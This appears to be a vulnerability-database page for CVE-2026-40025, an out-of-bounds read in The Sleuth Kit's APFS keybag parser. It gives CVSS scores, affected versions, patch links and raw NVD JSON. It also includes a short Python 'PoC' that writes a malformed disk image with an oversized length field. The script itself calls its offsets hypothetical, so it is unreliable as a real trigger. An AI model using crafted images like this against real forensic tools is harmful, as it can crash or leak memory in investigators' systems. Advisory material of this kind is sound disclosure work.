Security Vulnerability Report
中文
CVE-2026-40025 CVSS 4.4 MEDIUM

CVE-2026-40025

Published: 2026-04-08 22:16:23
Last Modified: 2026-04-15 20:52:41

Description

The Sleuth Kit through 4.14.0 contains an out-of-bounds read vulnerability in the APFS filesystem keybag parser where the wrapped_key_parser class follows attacker-controlled length fields without bounds checking, causing heap reads past the allocated buffer. An attacker can craft a malicious APFS disk image that triggers information disclosure or crashes when processed by any Sleuth Kit tool that parses APFS volumes.

CVSS Details

CVSS Score
4.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:sleuthkit:the_sleuth_kit:*:*:*:*:*:*:*:* - VULNERABLE
The Sleuth Kit <= 4.14.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import struct import os # PoC for CVE-2026-40025: The Sleuth Kit APFS Keybag Parser Out-of-Bounds Read # This script generates a malformed APFS image to trigger the vulnerability. def generate_malformed_apfs(filename): """ Creates a minimal malformed APFS image structure. Note: This is a conceptual PoC to demonstrate the trigger mechanism. Actual exploitation requires precise binary layout matching APFS spec. """ # APFS Header Magic (0x42444750 is not APFS, using placeholder for structure) # Real APFS magic is 'NXSB' header_magic = b'NXSB' # Simplified header structure data = bytearray(4096) # 4KB block size data[0:4] = header_magic # In a real scenario, we would craft the Keybag area and specifically # the wrapped_key_parser structure. # Here we simulate the overflow condition by writing a large length # at an offset where the parser expects the keybag length. # Offset 0x200 (hypothetical keybag start) # Malicious length field (larger than buffer) malformed_length = 0xFFFFFFFF # Writing the length field (Little Endian) # This simulates the 'attacker-controlled length field' data[0x200:0x204] = struct.pack('<I', malformed_length) with open(filename, 'wb') as f: f.write(data) print(f"[+] Malformed APFS image generated: {filename}") print(f"[+] Usage: Open this file with 'fls -i raw {filename}' or similar TSK tools.") if __name__ == "__main__": generate_malformed_apfs("malicious_apfs.img")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-40025", "sourceIdentifier": "[email protected]", "published": "2026-04-08T22:16:22.603", "lastModified": "2026-04-15T20:52:40.717", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Sleuth Kit through 4.14.0 contains an out-of-bounds read vulnerability in the APFS filesystem keybag parser where the wrapped_key_parser class follows attacker-controlled length fields without bounds checking, causing heap reads past the allocated buffer. An attacker can craft a malicious APFS disk image that triggers information disclosure or crashes when processed by any Sleuth Kit tool that parses APFS volumes."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:L/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:L", "baseScore": 4.4, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.8, "impactScore": 2.5}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:H", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:sleuthkit:the_sleuth_kit:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.15.0", "matchCriteriaId": "5A619301-F6A9-4151-9528-0BB27E356214"}]}]}], "references": [{"url": "https://github.com/sleuthkit/sleuthkit/commit/8b9c9e7d493bd68624f3b1a3963edd45c3ff7611", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/sleuthkit/sleuthkit/pull/3444", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://mobasi.ai/sentinel", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.vulncheck.com/advisories/sleuth-kit-apfs-keybag-parser-out-of-bounds-read", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}